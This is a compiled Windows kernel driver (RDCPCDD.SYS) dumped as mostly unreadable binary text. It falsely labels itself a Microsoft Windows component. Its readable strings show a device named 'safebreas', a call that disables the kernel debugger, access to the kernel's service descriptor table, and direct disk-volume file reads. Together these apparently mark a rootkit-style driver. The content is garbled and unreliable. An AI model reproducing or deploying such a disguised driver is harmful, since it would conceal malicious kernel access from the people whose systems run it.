MZ @ ? ???L?This program cannot be run in DOS mode.$ o^?????????????p??u????????Rich+? PE L T}I * < $ ? ( x 0 .text h.rdata U @ H.data f @ INIT ?rsrc ? $ $ @ B.reloc ? ( ( @ B jh ? u%e j h P$ ?3@ËeM?? ` D$?b ??A? XXXKdDisableDebugger %ws... U$ SVW3?f fEEEEEEEEEEEEEEEEE3ɍD 0f fMAr獅?Phf H YYPEP? EP? S? tӀ<3u3?? Fr_^[̋L$I3y,uIu ̃|$ Vt$F(N?F(NHtW~?tW? W? _j j v,? V? ? ^? DriverUnload! UQQVu~ t-h, EP? EP? v? h? D Y3^ \ D e v i c e \ H a r d D i s k V o l u m e % d USV?? EEEP3SEPj]]?hDdk uS? ;ÉE? h& EP? EPu?ujօ}Su?? aE?Wx]vJ_? j\S? YYt@?uP? YYtE???EM?r GEE?SP? _E^[ UV?? WEEEP3WEPj}}?hDdk uW? ;ljEt~MQuPjօ}WbE?8p}vSS^? j\S? YYt@?uP? YYtE???EM?rFEEtN?[j u?? E_^ O b R e f e r e n c e O b j e c t B y N a m e \ D e v i c e \ H a r d D i s k V o l u m e % d Ul$ 3SW3ۈ]<}=fj3f]Y}f( ;É]TE\tE]aE^tE_eE`|Ea;EbfEclEdfEhiEiqEjGEk\ElCEmPEnGEoiEpTEqAErTEsEEt\ 3L\?L<@ r?Lh?ffLE@ rVE
" T" d" t" ? ? ? ? ? ? # # 0# P# x ? h T}I 9 ? ? ? ? ? p ? 0 4 , @ \ ? @ L t ? H ? ? $ ( , ` B L t ? H ? ? $ ( , ` B ( T ? H p ? , 0 ( 4 ` 8 d ? @ ? $ ` $ L ? ( h ? @ D H p B \ D o s D e v i c e s \ s a f e b r e a s \ D e v i c e \ s a f e b r e a s 0 4 F T RSDSOT?YN?JrEn ? B# ? ? ? d# x# ? ? ? ? ? ? ! ! *! B! N! X! l! ? ? ? ? ? ? " " (" >" T" d" t" ? ? ? ? ? ? # # 0# P# x ? h 5ProbeForRead bIoGetCurrentProcess ?MmIsAddressValid ?MmGetSystemRoutineAddress RtlInitUnicodeString 0 DbgPrint ZIoFreeIrp IKeSetEvent [IoFreeMdl ?MmUnlockPages IIoDeleteDevice KIoDeleteSymbolicLink p_stricmp ?strrchr M ExFreePoolWithTag @ ExAllocatePoolWithTag 3ZwQuerySystemInformation !ObfDereferenceObject QIoDriverObjectType ?ZwClose 6ZwReadFile (ZwQueryInformationFile ;IoCreateFile `KeWaitForSingleObject ?KeGetCurrentThread ?MmProbeAndLockPages IoAllocateMdl IoAllocateIrp KeInitializeEvent ?KdDisableDebugger EKeServiceDescriptorTable 6ProbeForWrite ?IofCompleteRequest ObReferenceObjectByHandle UIoFileObjectType ^_allmul AIoCreateSymbolicLink 8IoCreateDevice ntoskrnl.exe h_except_handler3 @ KeGetCurrentIrql I KeStallExecutionProcessor HAL.dll 0 H `$ h h4 V S _ V E R S I O N _ I N F O ? ? ? S t r i n g F i l e I n f o ? 0 4 0 9 0 4 B 0 L C o m p a n y N a m e M i c r o s o f t C o r p o r a t i o n r % F i l e D e s c r i p t i o n M i c r o s o f t ? W i n d o w s ? O p e r a t i n g S y s t e m N F i l e V e r s i o n 0 . 0 0 0 b u i l t b y : W i n D D K 8 I n t e r n a l N a m e R D C P C D D . S Y S l $ L e g a l C o p y r i g h t C o p y R i g h t ( C ) M i c r o s o f t C o r p o r a t i o n <
O r i g i n a l F i l e n a m e R D C P C D D . c j % P r o d u c t N a m e M i c r o s o f t ? W i n d o w s ? O p e r a t i n g S y s t e m 0 P r o d u c t V e r s i o n 0 . 0 0 0 D V a r F i l e I n f o $ T r a n s l a t i o n ? 33#3*3E3O34)434<4R4??????555b5??????$6;6f6????&858E8Q8^8g8{8???9"9(9.949E9N9T9\9d9j9???????::$:??,